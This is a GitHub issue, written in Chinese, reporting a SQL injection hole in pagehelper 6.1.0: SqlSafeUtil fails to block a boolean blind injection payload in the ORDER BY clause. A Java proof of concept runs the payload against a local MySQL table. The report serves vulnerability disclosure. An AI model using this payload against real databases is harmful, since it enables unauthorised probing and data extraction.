Skip to content

Sql语法检查不严格导致的SQL注入 #854

@SvanurH

Description

@SvanurH

通过本地测试最新包发现此问题:pagehelper:6.1.0

你好,我发现在SqlSafeUtil类中,对传入的Order by参数校验并不严格,从而导致了sql注入。

以下是我的复现过程:

当order by参数传入case when current_user regexp 0x726f6f74 then 1 else 2 end的时候,并不会触发SqlSafeUtil的检测,其构造成了一个布尔盲注,通过返回值的排序不同来判断逻辑语句是否执行成功。

我简单的编写了一个类来测试这个问题:

import com.github.pagehelper.PageException;
import com.github.pagehelper.util.SqlSafeUtil;
import java.sql.*;


class Test {

    public static Boolean setOrderBy(String orderBy) {
        if (SqlSafeUtil.check(orderBy)) {
            throw new PageException("order by [" + orderBy + "] has a risk of SQL injection, " +
                    "if you want to avoid SQL injection verification, you can call Page.setUnsafeOrderBy");
        }
        return true;
    }

    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8&useSSL=true";
        String username = "root";
        String password = "123456";

        String payload = "case when current_user regexp 0x726f6f74 then uuid else id end ASC";

        String baseSql = "SELECT * FROM users ORDER BY ";
        String sql = baseSql;

        if (setOrderBy(payload)) {
            if (setOrderBy(payload)) {
                sql += payload;
            }
        }

        try (
                Connection conn = DriverManager.getConnection(url, username, password);
                Statement stmt = conn.createStatement();
                ResultSet rs = stmt.executeQuery(sql)
        ) {
            while (rs.next()) {
                System.out.println("id:"+rs.getString(1)+"---uuid:"+rs.getString(2)+"---user:"+rs.getString(3));
            }
        } catch (SQLException ex) {
            ex.printStackTrace();
        }
    }
}

这是我的表内容

Image

当前的数据库用户为root,其16进制编码为0x726f6f74

可以看到,如果运行这条sql语句(payload为case when current_user regexp 0x726f6f74 then uuid else id end ASC,即判断当前用户是否为root),那么返回结果将会以uuid进行升序排序,否则则会以id进行升序排序,以下是运行结果:

Image

将逻辑中的16进制root更改为其他无效用户(admin,0x61646d696e),再次进行验证

Image

其成功的返回了相应的结果(以id进行排序)。由此可判断其具有SQL注入漏洞。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions